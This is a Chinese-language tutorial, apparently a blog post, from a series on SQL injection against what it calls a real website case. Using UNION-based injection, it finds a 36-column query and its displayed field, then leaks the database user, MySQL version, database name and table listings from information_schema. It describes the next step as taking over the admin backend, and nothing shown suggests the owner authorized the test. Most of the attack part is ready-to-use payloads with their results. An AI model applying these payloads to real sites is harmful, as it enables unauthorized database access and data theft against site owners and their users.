3-8SQL注入网站实际案例第四步:第三者上位点测试与利用
判断出注入点的位置,那我们采取的就是显注的策略,显注的策略,就要充分发挥第三者上位点的作用,我们本篇将探讨如何对第三者上位点进行测试,以便充分利用上位点的作用
1.Union寻找处理字段数和第三者上位点
1.Union寻找程序处理字段数
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 –
我们在上一篇文章已经接触过了,寻找程序处理字段数,我们通过union的办法,我们输入一般从1开始到36,不断的测试,可能我们要测试36次以上
意义:
1.逐个测试处理字段数,直到网页显示正常,这个时候,我们就可以判断程序对union处理的字段数是36个,测试程序对union处理逻辑
2.这就说明程序处理的字段数是多少
3.我们最终的目标,是在网页上显示的第三者上位点是第几个字段(程序,网页为正常结合的二者,SQL注入信息为第三者)
2.上位点利用测试
我们还是结合我们上一篇文章所接触的
我们看到,我们要得到第三者上位点,前面,我们需要输入空集逻辑,这样子,我们就得到了上位者的显示位,就是第十位,第十位居然显示出来了,那我们就先对他进行上位点的测试,对上位点进行测试,是为了得到显示的确认信息,他能显示什么,到底能显示到什么程度,那我们就在这里输入,比如当前连接的数据库的用户名是什么,and 0=9 union select 1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 –
我们会发现在这里显示的是,zakka@localhost,进一步验证了当前数据库,就是mysql数据库,并且用户名就是zakka这个用户,我们还可以拷贝一下,把用户名保持到文本中,以便记录下来
得到用户名之后,我们可以继续测试,比如当前的版本信息,version(),and 0=9 union select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 –
我们看到这是mysql的5.0.95的-log版本
我们在输入database,得到当前数据库的用户名,and 0=9 union select 1,2,3,4,5,6,7,8,9,database(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 –
我们看到这个数据库名叫ZAKKANET,这样子就避免了因为盲目猜测,需要耗尽太多的时间和不确定性,所以这个显示位有很大的帮忙,但是我们会发现不论是输入user函数、version函数、database函数,都只是显示一个显示位而已,接下来,我们要演示一下要如何充分的发挥,让显示位显示的更多
我们先来概况一下
1.暴出当前程序连接用户名:
union select 1,2,3,4,5,6,7,8,9,user(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 –
user()这个是函数放在第十位,
当前连接数据库版本确认version(),数据库名database()等
version()、database()也放在第十位,以便把它显示出来,当上位点这个注入点的测试已经完成之后,我们希望显示更多的内容,所以我们需要进一步的测试
3.字典子查询测试
通过我们前面的确认,对information数据库具有权限,所以这里,我们就对information_schema数据库进行测试
我们这里查一个表名,把他查找出来,table_name,我们在这里输入数据库,from information_schema,where table_schema数据库应该等于当前的数据库,并且,我们取第一个,我们看看去一个的情况是怎么样的,我们执行,and 0=9 union select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema where table_schema=database() limit 1–
我们发现这里是空的,空呢,可能是显示的不对,也可能,我们写错了,那我们需要检查一下,information_schema少了个tables,我们在执行,and 0=9 union select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1–
我们看到有一个表,叫AREA表,这个应该是区域表,我们发现已经得到了一个表名,这就说明子查询是没有问题的,我们看到这里直接查询的就是information_schema.tables,后面–是注释掉了后面所有的内容,它本来是从别的表查询到的,但是当前却变成了从information_schema.tables查询,这就是巧妙之处,显然得到的tables不满足我们的需求,所以我们还要进一步的测试,我们先对这个子查询测试,概括一下
1.替代程序的查询,只查询数据库字典信息:
union select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1–
我们通过nformation_schema来查询,后面的我们注释掉了,显然这里的table_name,也只是显示一个表名,显然不满足需求,我们再解释一下
1.–的目标是对后面的子查询注释掉,这样就能查询我们想要的字典表了
2.table_name显示测试位的可能性和如何替换商品所有选项的可能性
4.商品所有选项完全替换
下一步,我们就把第十位尽可能显示更多的信息,把商品的所有都替换掉,好,接下来,我们就来测试一下
我们可以通过concat函数把table_name显示出来,我们还通过显示表所在的数据库,叫table_schema,表所具有的行数,叫table_rows,还有,如果表有注释的话,叫table_comment,我们都显示出来,显示的话,我们不显示1个,我们显示10个,我们看看这个结果是否可行,and 0=9 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,table_name,table_rows,table_comment),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1,10–
我们看到有10条记录,并且ZAKKANE是个数据库,后面有表名和行数,但是他们都堆在一起,堆在一起,对我们查看和确认信息,不明确,这种方式,实际上暴露了所有表名,数据库名,但是并不明确,我们在这里,中间加一个,回车换行符,回车换行符,我们使用char(10),也就是把ASCII码转换为字符,好,我们在回车,and 0=9 union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1,10 –
我们发现这回,就比较清晰了,我们看到ZAKKANE是个数据库,AUTO_MAIL是个表名,12是表的行数,后面可能有注释,但注释是空的,那这回,我们就显示的比较多了一些,这就说明,用concat来连接函数是可行的,显示的信息,就得到更多,所以这种办法,就达到我们预期的目标
我们概况一下
1.商品所有选项替换测试
union select 1,2,3,4,5,6,7,8,9,concat(table_schema,char(10),table_name,char(10),table_rows,char(10),table_comment),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() limit 1,16 –
替换测试,我们通过concat函数,把表所在的数据库名,表名,行数以及表的注释,全部连接起来,中间,我们可能使用回车换行,目标是把这个信息隔开,以便显示的更清晰一些,一旦得到这些确认信息之后,那我们下一步的目标,就是得到后台管理员的权限
5.小结
1.找出程序处理字段数和第三者上位者
2.上位点测试当前数据库名,当前连接用户名,数据库版本等
3.替换所有商品选项的可能性测试
3-8SQL注入网站实际案例第四步:第三者上位点测试与利用相关推荐
- 网站SEO伪原创四步走,轻松搞定文章伪原创
一:伪原始步骤: 第一步,通读 我们做的不是"抄袭作者的文章",而是"解释作者的话的另一种方式."理解整篇文章的内容和结构.在阅读了这篇文章,知道文章是怎么写的 ...
- 结构光三维重建1——四步相移原理
一.简介 结构光三维重建主要的原理就是从投影仪中投影出特定图案的结构光,然后通过对多组结构光的分析计算,得到投影仪像素与相机像素的对应关系,进而通过事先标定好的系统参数,实现所拍物体的三维重建. 下面 ...
- php教育网站设计案例_南广东区优秀网站设计案例集锦第四期
南广东优秀网站设计案例集锦第四期 第一名:吴嘉文 佛山资深设计师 01 个人介绍 亚里士多德曾经说过:"我们每一个人都是由自己一再重复的行为所铸造的.因而优秀不是一种行为,而是一种习惯.&q ...
- 大型网站电商网站架构案例和技术架构的示例
大型网站架构是一个系列文档,欢迎大家关注.本次分享主题:电商网站架构案例.从电商网站的需求,到单机架构,逐步演变为常用的,可供参考的分布式架构的原型.除具备功能需求外,还具备一定的高性能,高可用,可伸 ...
- 大型网站架构系列:电商网站架构案例(1)
大型网站架构系列:电商网站架构案例(1) 大型网站架构是一个系列文档,欢迎大家关注.本次分享主题:电商网站架构案例.从电商网站的需求,到单机架构,逐步演变为常用的,可供参考的分布式架构的原型.除具备功 ...
- 基于UAAG2.0 Reference的移动无障碍案例(四)
原文:https://www.w3.org/TR/IMPLEMENTING-UAAG20/mobile 翻译: CSDN 审校:张昆 刘辉 刘彪 沈广荣(信息无障碍研究会) 本页列举了基于<UA ...
- 2013年最精致的企业网站设计欣赏【系列四】
企业网站的设计首先要考虑的是将企业网站建设成为一个与众不同的网站,网站可以反应出建设构想,初步形态及网站推广计划,有自己独特的设计风格,能够彰显企业的特色.下面这个列表向大家展示一下最精致的企业网站设 ...
- 关于大型网站架构系列:电商网站架构案例(目前最有深意喜欢的文章)
算法与数据结构C++精解 ThinkPHP5.0+小程序商城构建全栈应用 AngularJS仿拉勾网WebApp开发移动端单页应用 Thinkphp 5.0实战 仿百度糯米开发多商家电商平台 原文出处 ...
- 大型电商网站架构案例和技术架构【推荐】
大型网站架构是一个系列文档,欢迎大家关注.本次分享主题:电商网站架构案例.从电商网站的需求,到单机架构,逐步演变为常用的,可供参考的分布式架构的原型.除具备功能需求外,还具备一定的高性能,高可用,可伸 ...
最新文章
- 010_html事件属性
- scipy模块计算导数方法(central_diff_weights)
- delphi报列表索引越界怎么处理_Python入门第3课:列表元组,看这一篇够了 | 原创...
- TypeScript 2.8引入条件类型
- 电信级E1保护倒换设备产品介绍
- android keyboard用法,react-native-android-keyboard-adjust 最新使用方法 0.63
- java kafka client_Kafka Client API 基本使用
- [原创]windows下unix2dos dos2unix 文本文件批量转换工具
- Python 第七篇:socket编程
- 编译生成动态链接库pdfium.dll
- 正交匹配追踪算法(OMP)
- xvid开放源码xvidcore-1.1.3.zip在VC下成功编译的方法
- COMSOL案例学习(2):非定常圆柱绕流三维模型
- H.266 JEM编码块结构:四叉树+二叉树QTBT
- 盐城机电高等职业技术学校计算机专业,盐城机电高等职业技术学校
- 为什么计算机不能自动搜索,电脑搜索功能不能用怎么办?教你一招快速解决
- 让你精力充沛的25个简单方法
- vue综合项目——悦听音乐播放器
- 国内外需求管理工具使用感悟!
- thinkphp 6.x 利用 easywechat获取微信公众号粉丝信息
热门文章
- awk使用手册(全)
- code flattening —— conversion to R1CS——formulation of QAP
- KNN算法原理与自实现电影分类
- 最简洁的呼吸灯实验verilog
- 2019年(本命年)个人总结
- php官方微信接口大全(微信支付、微信红包、微信摇一摇、微信小店)
- 国行switch服务器在维护中,国行Switch是否锁区锁服?你关心的问题都将在这里解答...
- qcqa是什么职位_qc经理是什么职位
- 初学DSP(2)-TMS320F280049C代码探究
- 八字易经算法之用JAVA实现硬币卜卦辅助工具